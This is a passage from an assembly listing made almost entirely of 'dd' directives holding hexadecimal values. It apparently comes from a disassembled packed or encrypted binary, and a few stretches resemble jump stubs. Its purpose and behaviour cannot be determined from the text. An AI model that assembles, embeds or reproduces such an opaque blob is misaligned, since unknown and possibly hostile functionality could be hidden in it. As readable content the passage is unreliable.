55CAAB1Bh, 0A18E67D7h, 0F0E3B222h dd 0DB3257EEh, 38B9169Dh, 57C72404h, 81F1525Fh, 0AC1C9C95h dd 6EFA796Ah, 0A29B9B0Bh, 8E15898Dh, 6C25C41Fh, 0C4258641h dd 86F2D801h, 0BD92A310h, 1A60CDD8h, 0B10297A8h, 0E7D8DE4Eh dd 0DBDB4BACh, 141C08E2h, 0F0000000h, 37B5h, 3DBEF300h dd 0F52F1CDh, 0EE1086F2h, 24052DDDh, 525F57C7h, 199581F1h dd 575FA37h, 0FC3AAA0Eh, 7D306703h, 9C79E94Ah, 0F019ACB2h dd 7B1086F2h, 19E4C0AAh, 0B8000000h, 5F57C724h, 86F2B8E4h dd 7669D010h, 43B3377Ch, 0A3907A53h, 57E5B020h, 5F57C724h dd 56D925D9h, 0D6F969CAh, 0FEC0EFE0h, 0A211F147h, 97A77816h dd 0A50590C5h, 0A5D10FA8h, 9D2EFB1Eh, 9EB18216h, 0B4AA0B9h dd 8F7BD7E4h, 0E4B121A2h, 3A7CEC4Fh, 0DEE010B0h, 0DE4EB300h dd 8E252D5h, 0B9CA169Dh, 3A041510h, 39A90F24h, 0F363E051h dd 508AEAEBh, 335FBC23h, 84E73C57h, 0E8982214h, 0FF1FA6B8h dd 7E1AAA6Bh, 8BC009BCh, 9AAB02CDh, 0EF5DE8B5h, 787EAB9Fh dd 416FCh, 4CBC3A00h, 87F77AA9h, 54C441EEh, 9E0E72C1h dd 5ACA28F7h, 0F4AFDCBBh, 0C06F0676h, 0F926CF3Fh, 0B56A0B7Bh dd 0A42FC636h, 0D9C60BBAh, 0E4A5169Dh, 3BC72458h, 0EB4D46B6h dd 6D423B7Bh, 0A8189B88h, 86F6756Eh, 9420A390h, 9C71A515h dd 96E83B3h, 0B3DA9D99h, 7B32D70Ch, 0A0107354h, 1A5DE0D5h dd 43E397A8h, 0B7000000h, 3DB0BABh, 9C41FF40h, 91AD7E16h dd 1B9824A0h, 0BD926BABh, 0BDB6DDD8h, 4BA81693h, 0BF7338E3h dd 1B346DEDh, 0D747A57Ah, 38163DFh, 7C590000h, 71CC65BDh dd 0A99E3601h, 1B002037h, 0B8C46DADh, 0BAB6AD2h, 444003DBh dd 19169C1Ah, 5B7E4517h, 221693DAh, 0DA6DB411h, 3F101693h dd 87E54E10h, 3C2E1F17h, 0F262E1D2h, 1AC52CC4h, 8A548434h dd 0DAA8F154h, 42531693h, 0B72F96A8h, 0C6108932h, 0F53E20F5h dd 3B140272h, 0D0979F8h, 0A0605A30h, 0EFD76E70h, 0C1AB64Bh dd 37D343A7h, 7380B687h, 3813A70Fh, 37E72A99h, 0B58602B9h dd 6FB8F6A2h, 6B6F5640h, 4472E246h, 0C5F89F4Bh, 80022F2Dh dd 0F76CB510h, 3E0F02B9h, 0F77CA520h, 2EFF02B9h, 72A2563Ch dd 1FEDD96Ch, 5F7004A3h, 9A0A69B6h, 0B424879Ch, 0F525D9E1h dd 0D6265AE9h, 96A70ECFh, 0F399BEA0h, 29E27A16h, 0D38134CBh dd 0A8872968h, 0C6BAE3C2h, 0CC430EEFh, 9F2011E1h, 7416E72Fh dd 1151B439h, 493CB6h, 0AB500000h, 4003DB0Bh, 169BF5F0h dd 4F92312Bh, 2E1693F1h, 0BE443F25h, 2906F99Fh, 4A4C5D41h dd 6F0B5384h, 0D4827DB2h, 0ACEA5ADFh, 418C37D3h, 2E169349h dd 1BA70B28h, 10ED2999h, 79644B3Fh, 0BDD56DD0h, 0BDF39Dh dd 24C70000h, 525F57C7h, 9D9680F0h, 7B68AE1Eh, 9C0C6CF8h dd 0EB8AA59Ah, 86F7A8C6h, 0F767C410h, 1F17EEE7h, 23918AB6h dd 482292F0h, 575F62Dh, 0A7D7A711h, 5F002C97h, 0F825169Bh dd 300D0979h, 0DFD4761Fh, 9802E858h, 1FA6B8E8h, 108B33FBh dd 88149582h, 8479BD2Dh, 0E93093ABh, 941CABABh, 0A192AC83h dd 45B6B921h, 1713BCF5h, 64C65D38h, 0BB9829F4h, 2D47B1BDh dd 1D2C5h, 90007E00h, 5BCB2E05h, 980865BAh, 52C226FDh dd 9E0E6CC3h, 0B8EBA0F7h, 0F42BCA3Ah, 0BD720373h, 0F926CF3Fh dd 586B0A7Ah, 0DF8ACF76h, 0F071169Dh, 61864F4Ch, 231D4084h dd 0C141F298h, 0C6FC451h, 0AB33F99Ch, 4003DB0Bh, 169BF5F0h dd 4F92312Bh, 2E1693F1h, 78496D1Dh, 0F196B73Eh, 5D5F1693h dd 3264D454h, 0DB02AD5Dh, 0BD1D0B6Eh, 0F3919Dh, 4FA50000h dd 9A70E062h, 0AB91A99h, 1086F2C7h, 7CBA95A6h, 0A3930367h dd 86F7D220h, 0ED5DDE10h, 30981B08h, 9A4C62E1h, 31A107DAh dd 42D311Eh, 0D75535A5h, 355CE7F5h, 0B8108610h, 6C8A7EFh dd 123DEF64h, 2550794Ch, 0A1B1086h, 5E863A60h, 0FA2BA6BAh dd 5866496Ch, 9BA641EDh, 63E2E416h, 1693A73Eh, 45A7ECBDh dd 0C3ECE1D5h, 84B48432h, 0CC280BBAh, 7647108Bh, 77E74B68h dd 0C131919Eh, 0BE6AA53Ch, 0BC383EB1h, 0D7h, 0E88DFD79h dd 0AF46B63Bh, 950580h, 0B85DCD33h, 0FE97076Bh, 4BAFE2A9h dd 82E53ADBh, 50AC8312h, 9D1E15E0h, 4F7F482Dh, 9DDCADF4h dd 6DCF5016h, 73E3624Fh, 0A8189A97h, 0AD1D9D96h, 281AEBDh dd 9581F176h, 0F2D5FCC7h, 87981086h, 0A5B787A8h, 86F2FB1Eh dd 5C08210h, 1086F2DCh, 96A18E9Fh, 97A30502h, 115C0E62h dd 57C7242Bh, 81F1525Fh, 89F974BDh, 0BBDAB08Dh, 431B4BEBh dd 2B9B1819h, 4D7812EBh, 16A21162h, 0ED063001h, 0D3771E8Eh dd 0ED173A09h, 0C5D6169Dh, 1787E425h, 454CA41Fh, 5AC13623h dd 67D75473h, 0B222A18Eh, 0B22287ACh, 35DF8B84h, 4A4CBC3Ch dd 0F3525F6Bh, 0FDB0E783h, 1CF969CAh, 234A407h, 0A82h dd 0F57BB800h, 0CEBC9185h, 244B2F66h, 475C5ACAh, 314274E4h dd 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h dd 4F6452C2h, 783C7AEAh, 81E38953h, 4C3h, 4EB8300h, 31241C33h dd 1C33241Ch, 0AB685C24h, 8900003Dh, 0D868243Ch, 8900000Fh dd 0BE56241Ch, 63585580h, 0D107EEC1h, 0D8F796E6h, 8EF68196h dd 812B0949h, 0FF1B54CEh, 2EEE817Eh, 89F9E4BFh, 8B545EF7h dd 0C483241Ch, 0BB535704h, 0AB4193Dh, 4245C31h, 8438F5Bh dd 3D087381h dd 0FF0AB419h, 835B2434h, 34FF04C4h, 0C4815F24h, 4, 0FA4E85E9h dd 63B9C2FFh, 0B8071597h, 61B2F51h, 0E0FFC503h, 0C80ADA2h dd 77F6B16Eh, 378A5192h, 48443798h, 52E20001h, 2B2C7EE2h dd 45AA1D82h, 1A53354Ah, 9A65780h, 18AE9h, 0E6470C00h dd 0D52C2710h, 0B198D31Ah, 0CAD1D746h, 7E41EFB4h, 9752E45Bh dd 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h dd 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh dd 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h dd 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh dd 43h dup(0) dd 84970000h, 0F033A26Dh, 0EE69h, 2 dup(0) dd 0E9000000h, 1001h, 1B336368h, 173EE906h, 6D68FFFBh dd 0E9061B34h, 0FFFB1734h, 1B363268h, 172AE906h, 0E368FFFBh dd 0E9061B36h, 0FFFB1720h, 1B380168h, 1716E906h, 0F568FFFBh dd 0E9061B38h, 0FFFB170Ch, 1B398968h, 1702E906h, 3968FFFBh dd 0E9061B3Ah, 0FFFB16F8h, 1B3B4D68h, 16EEE906h, 0C968FFFBh dd 0E9061B3Bh, 0FFFB16E4h, 1B3C9768h, 16DAE906h, 3468FFFBh dd 0E9061B3Dh, 0FFFB16D0h, 1B3DCA68h, 16C6E906h, 0E668FFFBh dd 0E9061B3Eh, 0FFFB16BCh, 1B401868h, 16B2E906h, 0BCB1FFFBh dd 4C44CFC1h, 0BAB45F31h, 4E36C1C3h, 0C0B25D2Fh, 7E6CCBBDh dd 0FDCFAEA4h, 70601D12h, 0FDCFAEA5h, 62621B12h, 94C1BDAAh dd 0A723ACh, 9F863D95h, 0F36A13FAh, 0DF6AF33Ah, 863395E8h dd 724CDB2Ah, 0B353E814h, 0B6901940h, 0A729D6E3h, 7DF96905h dd 6BECEF2Ch, 0D3827C6Fh, 0C1A729DEh, 4BAEE298h, 20000000h dd 0D7D76CC4h, 0AD3EDEBAh, 0E9062FDAh, 53E1F90Dh, 0A6A0B5B3h dd 0E57C01F3h, 0B55C052Ch, 58F9E57Ch, 6AA729DBh, 88D5B186h dd 14A729DBh, 0F8950C65h, 47F9700Dh, 0C5ADC55Dh, 3108B1B8h dd 0BC38AC4Ah, 6BECF7EBh, 0D00Bh, 9F86BD00h, 482AC7DEh dd 0A6A12C35h, 6B4B58D7h, 0AD3EDF2Eh, 0EC73BB6Eh, 27564EFFh dd 0F49FD77Eh, 2A0484F9h, 0AD3EE339h, 0FF7A28Dh, 755AF76Eh dd 0EB083108h, 0DA5FFEF8h, 0C3DAD3Eh, 0B0976266h, 0B977D4CDh dd 55817D6Ah, 41B353EEh, 0B0D31F32h, 4A23C4A6h, 2473CD7Ah dd 28042707h, 79A0AD41h, 840EC97Ah, 53ED3CA3h, 8D7F0E1Bh dd 293A0F0h, 3522C0Bh, 91AD3BE7h, 0AAE991E8h, 435FB5C8h dd 4DFA0790h, 0D8E32D4h, 4E90000h, 846C1779h, 2EC97F9h dd 867E097Bh, 8EA95F7h, 26941375h, 3597E6CCh, 0B818654Ah dd 3597E6CDh, 0AA1A634Ah, 5CF9F5F2h, 38A723ABh, 0A486F54Dh dd 210CF7D9h, 8C3F6C5Ch, 26BC10EFh, 0ABD2B7CFh, 0FC32FBB2h dd 0AD99248Eh, 0B57C01ECh, 5C2D05ACh, 989695E4h, 0B353E2A2h dd 74211D0Eh, 4EA729DBh, 0D77E2756h, 0C895DD8Ch, 7B1E08A1h dd 47A729DBh, 5901964h, 4512D0Ah, 90A729DCh, 621990E9h dd 8CC6E054h, 46C3237Ah, 72FC73BAh, 1B018602h, 0B9F56BECh dd 0C7000000h, 0E4B39924h, 1D6286CDh, 0A8C178C2h, 230A49F1h dd 6A270714h, 2AAD3E3Bh, 3B5603FFh, 1346AD3Eh, 0C4A6435Ah dd 55D6B0B9h, 0F1AD3E40h, 7A0587F6h, 1473EA93h, 0E0DE4D9Ch dd 0B3534B32h, 68D5B762h, 0CAB39DD0h, 7BB2CBBFh, 0D8CE7F6Ch dd 0AB6FCDA5h, 0EBAD40D2h, 2E24B13Eh, 0A5307D4Fh, 1ED7CEAFh dd 26573D58h, 77BBE32h, 8F33EEFAh, 0C84h, 97B02F3h, 91F38A7Eh dd 0B7D00E6h, 97F98480h, 157706ECh, 0E4C62096h, 634C3799h dd 0ECDFAA1Ah, 59543F91h, 0FFECA424h, 23AA52FFh, 0FB5342A7h dd 5AD9A486h, 0DF306D49h, 0D96CAD3Eh, 601990EDh, 0A26D6119h dd 44F2D2ABh, 0A4F89F86h, 60BA0B4Bh, 0DE6F7CB5h, 670E97E6h dd 12FD980Fh, 14AC196Bh, 0BA4826C5h, 0DAB35404h, 94C362Fh dd 0DFA729BAh, 334A41CCh, 0C1AB832Ah, 0D5F4B531h, 14A76BECh dd 83588B53h, 28680E4Fh, 72h, 1D6CC49Ah, 7BA300Eh, 0E9DAB354h dd 29B5500Dh, 0E7374CA7h, 566EC861h, 821B521Bh, 29D7F598h dd 0EF83F3A7h, 0ECF03673h, 44C26Bh, 0C4F40000h, 300E1D6Ch dd 0B35406EEh, 0D8858172h, 0F0A729B6h, 0BCFF6C68h, 29500BB5h dd 3C651451h, 296B2F62h, 9BAB9A7h, 0D8291864h, 119BD3A2h dd 3B6425A1h, 24376BECh, 29130B4Ah, 9AE089A7h, 1EF6h, 9724C800h dd 0F70750AAh, 1802B8E9h, 9FEBC0CFh, 7AFE90E6h, 35000008h dd 0C2DBA288h, 0C465630Bh, 0BAD7D76Ch, 0DAAD3EDEh, 0DE500DE9h dd 1D4CAD3Eh, 84923754h, 89D60E1Fh, 8D4343B0h, 75B35989h dd 69FDEC8h, 0B3E274Fh, 27B711Ch, 1FACBF2Ch, 0EC2BD676h dd 8BE34Eh, 6D187805h, 0FFECFB82h, 1A24594Eh, 0A723CE7Bh dd 1F4AF019h, 4F4578D0h, 717E372Eh, 23CEC895h, 0CCA5D4A7h dd 0FF385F5Fh, 0AD5CAD3Eh, 0FF988F3Eh, 9713BC9Eh, 7A03EA80h dd 2A032AE3h, 0C5C04D5Ah, 0DCD382B8h, 7A0B08A1h, 6846E598h dd 0AD3EB529h, 1B78BE6Bh, 782D689Dh, 0E862EDC2h, 0F2A4A291h dd 0A2B353E4h, 7211A177h, 0B673FC10h, 0ABF14h, 0AAD3B800h dd 423B2FDAh, 0ACD1B742h, 483531DCh, 0A6D7BD48h, 0F7118726h dd 9D686815h, 3CC7C9B4h, 0DDA82855h, 61398BF2h, 0A8CB8A64h dd 0DCC9A723h, 0E0163766h, 4EEAAD3Eh, 6B65F0FFh, 8CE28B12h dd 0E599F9Fh, 0CC7DB35Ah, 0A2F14FFCh, 0DE5BA985h, 0CA7FAD3Eh dd 0E4B5B05Dh, 0E8E891ECh, 59240ABBh, 1E7B7221h, 861F5627h dd 0B3408F29h, 5A0D94D3h, 83FCCB3h, 0C4B99B55h, 4E332787h dd 1D0A3F28h, 90227570h, 96EF077Fh, 12FDCFA6h, 5F3B621Bh dd 27231930h, 0D44378D0h, 0E0C3C5E3h, 0EE8072Eh, 2D387368h dd 0BD3F1544h, 0CF7A0BC7h, 0A0EB052h, 84690000h, 4EC97F9h dd 826C1779h, 6FE89FBh, 886A1577h, 0A61493F5h, 0B517664Ch dd 3898E5CAh, 0B517664Dh, 2A9AE3CAh, 0DC797572h, 0B8A723A8h dd 6CC475CDh, 8D7F0E1Dh, 0DE8DCCAAh, 5A0FAD3Eh, 2AB97413h dd 0AEB8E736h, 358B6B88h, 71B3593Dh, 0DC95E8E4h, 0BAF5C4Fh dd 16CA948Eh, 0E9E46FC7h, 0EBDFBAB0h, 0BC2DB92h, 0B0976262h dd 97EAA787h, 7FAAA723h, 0E860AFB6h, 709C9A99h, 8CAD3EC8h dd 0A28910F9h, 620B92DBh, 0AE0C2125h, 930E435h, 0CEAF9EAh dd 0AD3E2D4Dh, 39541A4Fh, 0B25D2F4Eh, 4C9BC2BBh, 0A886A5F4h dd 0B3595E1Fh, 0E69794C5h, 0E4717EFFh, 0C4B9B0E9h, 0D4C1C56Dh dd 8E180127h, 0E78F7DD6h, 0A5BCC1ACh, 237098B9h, 81D068A7h dd 0A0F09472h, 7DACAD3Eh, 95E8DF6Eh, 7157E633h, 80A9E8C6h dd 3EEBAD3Eh, 19143FF7h, 52EE3D64h, 0BA0AE403h, 0DEB359B0h dd 8835322Bh, 0BC2DBA2h, 7073221Ch, 0F821A723h, 0A8F75142h dd 947BAB8Bh, 0EE1BAD38h, 0B26642Ah, 8D21D8FAh, 8F0h, 0F5D7A687h dd 7557260Ah, 0F7D9A48Ah, 6B5D200Ch, 0F1D3AAA0h, 0C8AA4432h dd 3F28D3B5h, 0D0C34E3Eh, 3530DBADh, 0E3D04848h, 23A6B6E3h dd 1F6FE6A7h, 16FA9F86h, 0BBB33E67h, 3BF29BC2h, 0D17C6BF2h dd 0BECDA5D8h, 22AFB6C7h, 0BB564F2Eh, 6B3AAD3h, 84EE089Ch dd 0DC801BDDh, 59DD5E17h, 0C7B6B1C9h, 69D1D6C5h, 7257201h dd 97000000h, 4F27Fh, 48823100h, 0E5989441h, 6C5D15BCh dd 886685D4h, 0B353E88Ah, 0ACE9C5D6h, 0E8A729D5h, 85D4B241h dd 17A729D5h, 26530C62h, 0A72A85A1h, 0B3627A35h, 1879C1BCh dd 33E251A0h, 8B263F3Eh, 24CDD4A9h, 2A04254Dh, 0DE352E78h dd 8AC7A71Ch, 0ADA32EEh, 0A7F6D05Fh, 0F5DA32EEh, 1774ED44h dd 0E1DD4A99h, 0E04B616Ch, 6152E188h, 7AC0BDB4h, 789F4DBh dd 0F7866B1Ah, 6419143Fh, 16E900F0h, 71158C2Fh, 7FCh, 0E1E39A7Bh dd 794B3216h, 0E3E5988Eh, 7F512C18h, 0EDDF9E94h, 0CCBE584Eh dd 3B34DFB1h, 0D4B74242h, 715C27A9h, 0E7E4BC0Ch, 23A64A07h dd 0E35B4AA7h, 0CCB19924h, 7D00E7A6h, 1A6349E4h, 6EA31DAAh dd 0FCBB0524h, 89CDED16h, 8E1A0B48h, 2F0F1C55h, 0B359AF9Fh dd 18A542F7h, 3380502Dh, 62D1ACA2h, 23703564h, 7CB267A7h dd 0FEA7D6D1h, 2BC817B1h, 0D8A58D38h, 0A068A4A2h, 0E594AD3Eh dd 0ADD0B746h, 483530DBh, 0DF9E9421h, 5348179h, 9436F3FAh dd 768h, 6D5F1E0Fh dd 0FDCFAEA2h, 6F611C12h, 0F3D5A8A4h, 695B2208h, 5042DCCAh dd 0B7B05B2Dh, 583BC6C6h, 0EDD8A325h, 6B684090h, 23A5CE8Bh dd 67D7CEA7h, 1A373724h, 7AAD3EDFh, 0B1CCC2CFh, 61B00889h dd 0F18F4D2h, 1544B35Ah, 0B3846716h, 23AE86D3h, 0A6316A7h dd 6606F493h, 0E7D96C65h, 0BA4BE88Eh, 2E3DAAD3h, 235B0150h dd 0B4C9C1A7h, 1878BE6Bh, 8B5826Dh, 8D445D20h, 235AE4B1h dd 0D7A3B0A7h, 0BD28C8AFh, 0BCE58CE5h, 34493ECFh, 0DDAE842Dh dd 4171463h, 0F17A1717h, 0EF1AA722h, 0F971BD47h, 9CCDAD37h dd 0B81FCB8h, 0D57930FAh, 6B8h, 0DDAFCEBFh, 4D3F3E32h dd 0DFB1CCC2h, 43453834h, 0D9ABD2B8h, 0A0926C5Ah, 2720EBDDh dd 0A88B7656h, 1D08F3D5h, 0BBB87060h, 23A49EBBh, 3787FEA7h dd 15FA9F86h, 38452D68h, 501F201h, 0AD3EDE58h, 425D1544h dd 0A4BDC0A7h, 97AF43B3h, 0AF5ECDB0h, 0F59CC5B8h, 4D5A493Dh dd 0A97201F7h, 7, 2C57F1Bh, 86310000h, 68C7DE9Fh, 817281D0h dd 0D6BBDED4h, 0B6C1CEA7h, 0FD8C2B0Ah, 0F7D12B03h, 23B35921h dd 644CF9F6h, 0D059019h, 1D71C970h, 5B027B72h, 2FA1DCCEh dd 0B59126A2h, 0A722FFE8h, 0D48FEEE2h, 4C5FCCA5h, 0AFB6C7C1h dd 0D9D63006h, 47AD3E2Fh, 77061512h, 0BC75EC91h, 3DF01342h dd 0C1BCAFADh, 336F1A8h, 180FBE2Bh, 0AD986365h, 85B063D0h dd 0BBF31A8Bh, 83AAD3B6h, 3319B4ABh, 9C730F64h, 4E366A67h dd 8549062Fh, 0A7C0A40h, 0CA2940F9h, 29543B6Eh, 0CFE3E350h dd 0EFB352F9h, 0FC672F54h, 0DD94CF41h, 10F4AB77h, 9A2CE5FCh dd 5A4h, 299BE2D3h, 0B1136A5Eh, 2B9DE0C6h, 0B7196460h dd 3597E6CCh, 4E60076h, 836C1779h, 0CFF8AFAh, 79741F71h dd 1F0C8404h, 23A3721Fh, 0DB3322A7h, 0C7DE9F86h, 854432Ah dd 5716A78Bh, 24B1B881h, 0BB564F2Eh, 1BFCA5D8h, 60D3079Bh dd 5F465ED6h, 7281AE1Eh, 3EA7C594h, 0CCA2D7ADh, 1C04C5Dh dd 7AC72h, 7F1E0000h, 144h, 0DE9F8631h, 56BA67Ah, 871BD6FAh dd 528h, 0AD1F5E4Fh, 3D8FEEE2h, 0AF215C52h, 3395E8E4h dd 0A91B6248h, 90829C0Ah, 0F7F09BEDh, 987B0686h, 2D18E3E5h dd 0ABA88050h, 23A38ECBh, 27970EA7h, 807A9724h, 4B2B8C37h dd 7D6823h, 570600F3h, 73AD3E06h, 1322FD80h, 923B621Bh dd 810C93DBh, 8D6EF786h, 666179E9h, 2166B517h, 0D572011Fh dd 21h, 3E5B5B48h, 5EAD3E0Fh, 0D59CE1C7h, 0BD7F2B9Dh, 92000000h dd 0F66F0E03h, 7F99F73Fh, 0B0h, 396CC431h, 0E8072E4Fh dd 4F0EE8FBh, 4DAD3EDEh, 1CE8561Ch, 38B35A10h, 0ADAEEBCBh dd 3BEEA723h, 18611C0Eh, 17826A1Bh, 4E244D30h, 93CF453h dd 0EB927920h, 2FCEB42h, 0AD38D378h, 2F27ED1Ch, 0A1FA0B7Ch dd 45A46E8h, 381D0000h, 0D0B84345h, 3630DBADh, 0D2BA4547h dd 3C2ED9ABh, 0FAF04F41h, 71532A20h, 0ECDCA186h, 71532A21h dd 0EEDE9F86h, 203D3936h, 7CA723A3h, 6CC4B909h, 0FB300E1Dh dd 99B3542Dh, 0E269CD8Ah, 3FF6969Fh, 522B25B0h, 98163872h dd 0C1ACA729h, 2CDFCCBCh, 0D6BA2523h, 0B73FE8A7h, 0DFC984AAh dd 0F563079Eh, 4D000003h, 0E1D6CC4h, 4DC46E1Dh, 92C9FB5Bh dd 6DA662DCh, 0A7D2B359h, 8217B1FEh, 0A29CE1D3h, 0A7234CF3h dd 32C178A1h, 38732A54h, 59BF6AADh, 0FA0BDFF3h, 0BD8628E1h dd 0BA000003h, 5924A4D9h, 0D1BC0C71h, 5B26A6D7h, 0CFBA0A73h dd 9130A0DDh, 720B011Bh, 0FB826712h, 720BFE89h, 0FD806712h dd 1816138Bh, 0A723A179h, 24D42A1Bh, 0A3CBB299h, 0AC3B8A26h dd 5A0FFAD2h, 0FCEB1EB3h, 20228F4Fh, 0D39BE4DEh, 0BDC0A756h dd 14413D2Eh, 80A72349h, 622DA1D9h, 3C8B126Bh, 0B8B63584h dd 0AD3E789Fh, 26D75405h, 0C34E3E3Fh, 0BBB8B1CCh, 2258250Ah dd 0EDE417B1h, 6C4AE990h, 0B3534A2Ah, 0D9A48736h, 145129D0h dd 0DC4BEF65h, 0CC45FC10h, 3273Ah, 225B5000h, 8AF3D7A2h dd 24594F3Ah, 90EDD9A4h, 1E5F5540h, 7F990FAEh, 0F5A0F08Dh dd 840F81FCh, 0F5A0F08Dh, 890183FAh, 0A1F3A29Ch, 0B4A1A723h dd 0DE9F865Eh, 563DC8C7h, 48C95341h, 0C66FA902h, 93EAE570h dd 0DD2C8431h, 2412704Eh, 1742B353h, 12E1B48Eh, 6707A729h dd 2B2A7FFBh, 2ECE6BECh, 0 dd 0E1D6CC4h, 53E20A30h, 52B9CAB3h, 0BC7E57D3h, 0BD1AC233h dd 0C6E1CF8Eh, 490CF66Fh, 9FA72952h, 6227A30Fh, 966BEC6Fh dd 0DCh, 0DE9F8628h, 35482AC7h, 0F3A6A12Ch, 38B77EFFh dd 0DF0E4B2Bh, 0DB8EAD3Eh, 86810C93h, 0CC9B95F7h, 16AD3EE3h dd 0F9846A2Fh, 2070C970h, 0E4037A75h, 4B98E657h, 90E6532Fh dd 0AFFEBA19h, 0D1B44640h, 21ACB353h, 37A7425h, 0CF7A332Ah dd 5009A0DDh, 0BC0C3D2Ah, 94E9DE6Fh, 0BD0E640Dh, 3737B403h dd 0AD41781Bh, 0B461CE7Bh, 4330BFBEh, 3C261643h, 9BD386ADh dd 514DFE2Bh, 0F119DE86h, 0A587C66Ch, 0DAE484D8h, 0F1A8FA07h dd 20B5Dh, 0F6876C00h, 7607EB96h, 0F8856B16h, 7C01ED98h dd 0F28B810Ch, 4BA51392h, 0C9B41469h, 602B9DE0h, 0C9B41469h dd 752D9FDEh, 0A0DF7E78h, 0C8BDA723h, 6397247Ah, 0BF674C5Bh dd 5339541Ah, 0B8AF5A2Ah, 714DEAE1h, 0AD3E3124h, 0F970C970h dd 2997F940h, 4D396CC4h, 0D5803930h, 5ECDA4D9h, 53E2DA60h dd 0E04FFAB3h, 0DBA6F3D3h, 43F6A729h, 0C78A74EBh, 21A729DBh dd 0F2A31D95h, 0CAB39AFFh, 1B531AD3h, 0ECF77B0Ch, 0EB7B6Bh dd 1FAE0000h, 0AB1D5528h, 1E219724h, 65D9308Eh, 0F6877E0Dh dd 8DF0E26Fh, 4F392A14h, 0A28DAD3Eh, 4EFC9995h, 8D98AD3Eh dd 26CFD6A7h, 79A6264Fh, 4ECD8C6Ah, 9ACFAD3Eh, 0CBCEB9D4h dd 821198E5h, 17522CDDh, 0EAA7CE9Ch, 0A5BC7508h, 8C9BEA46h dd 0F5B1EC9Fh, 0B9FDDC3Eh, 72738381h, 5CEFB353h, 54569DC9h dd 89F4DD9Fh, 0CEAFA5B0h, 0F581ED7h, 63DD6A5Ah, 10A1F0CEh dd 0F3A729h, 29105706h, 5D1445A7h, 1C171714h, 0B8AD40B8h dd 0B591A291h, 0AD3C75E8h, 3CAD85B4h, 0E2E29B91h, 0D4483517h dd 0FA07025Ah, 0D92FD34Eh, 9E000000h, 1500D0ADh, 0A570601Dh dd 7F2D2ABh, 0A36E5E1Fh, 3DFCCCB1h, 0BEBFB54Fh, 2F4E43CEh dd 0BEBFB25Dh, 314C43CEh, 0ECCAC75Fh, 0A7239EADh, 860876EFh dd 0CF7D9A4h, 3CCF5C21h, 0EB2989B2h, 4090E672h, 0DE9F8692h dd 0F4432AC7h, 3EDE5BFAh, 691039ADh, 0F5EDA67h, 0E792620h dd 62F3B35Ah, 0DE970E6Fh, 8D9ACF98h, 0B4132BFEh, 99B30D3Ch dd 5A7714F0h, 502EBD32h, 0A723BC01h, 1990E693h, 0F5886B1Ah dd 0DE6DC56Ch, 2ACAB0E7h, 241869E1h, 95907B4Dh, 73E5C1E8h dd 62BE2034h, 57E660D4h, 0DB920B72h, 8A0DF893h, 0DEBEF1E9h dd 0E7EB758h, 78F18C83h, 158CF1DDh, 4940CD5Eh, 470FE34h dd 6A13FB8Ah, 59F43AF3h, 0D2BD0F6Eh, 67FBA2DBh, 8, 0B3992449h dd 8317A4CAh, 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h dd 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h dd 0E0895004h, 405h, 4E88300h, 8B240487h, 36682424h, 89000000h dd 89512404h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 240C895Ch dd 1B322B68h, 24048B06h, 4C481h, 8B540000h, 0C481240Ch dd 4, 8BB53h, 0CB010000h, 1C8B0389h, 4C48324h, 57240C8Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h, 0C4835824h dd 74EE904h, 4824FFFBh, 92CA2E72h, 4116B8BCh, 0C503061Bh dd 0AB3EE0FFh, 4D7E1F1Ch, 8B787437h, 0AF0E3873h, 26855FFDh dd 7E85D45h, 15000000h, 7B3FE764h, 94B58F4Ah, 7761BA5Fh dd 0C7814CA0h, 70DFh, 0CAB70F56h, 2CA2BB5Eh, 0EB81713Ch dd 713C1094h, 3810Fh, 0F2800000h, 8A37FF1Eh, 0CE958EBh dd 8B000000h, 22DF6604h, 0ED18204Ah, 815DC465h, 0B25C70E8h dd 0BE822h, 0A7790000h, 5292D895h, 123D9BCDh, 0F2816696h dd 815A1DFAh, 0C40F86C0h, 81F08A31h, 31050EF0h, 7E28103h dd 89468FBBh, 0DE907h, 11470000h, 45DFBF8Dh, 1B37ACE1h dd 83897329h, 5E901EFh, 88000000h, 38D6A006h, 814F4F4Fh dd 0C9588EF6h, 850F4B22h, 0FFFFFF89h, 4510E981h, 8D8D4F2Bh dd 61B435Fh, 0EEB86652h, 870F5AFDh, 0Eh, 9E9h, 17856A00h dd 0BDC4C506h, 8D89F167h, 6152721h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 34C35747h, 0EE44DA86h, 1D8D31F5h dd 0C7061527h, 1504CD85h, 72EC06h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8091715Ch dd 14E9CFD3h, 42000000h, 0FA9815CEh, 56A242Ah, 0CB67D726h dd 37B2C23Dh, 315DD0D1h, 15223595h, 1585C706h, 61511h dd 8B000000h, 95B5FFF0h, 6A061505h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 1A3AC355h dd 609E457Ah, 0F7B70F17h, 2C995FFh, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 3A5ADDC3h dd 6A37422Eh, 2195FF00h, 8B06152Eh, 0B76AEBC0h, 0E93AA788h dd 66DA58E6h, 1C9764C5h, 848A2104h, 0CC0212B1h, 8683067Dh dd 3A2CEFh, 209425FCh, 0C9E5A942h, 5841C7EAh, 5FD20EEFh dd 0C1D52720h, 0F1C3406Fh, 6360B78h, 0EE4E1AB6h, 7224AD4h dd 0CD504AB2h, 923343A1h, 0B51242ABh, 6A4EDE12h, 29728517h dd 0A046E324h, 77A80216h, 8DC5B98Ch, 65DAE12Bh, 535FBBCBh dd 758D8D3Bh, 0FC061B44h, 27218D89h, 89600615h, 1509B585h dd 0BE906h, 2C720000h, 0C9956ECFh, 0DD5469BAh, 85C761A3h dd 61504CDh, 6E94h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 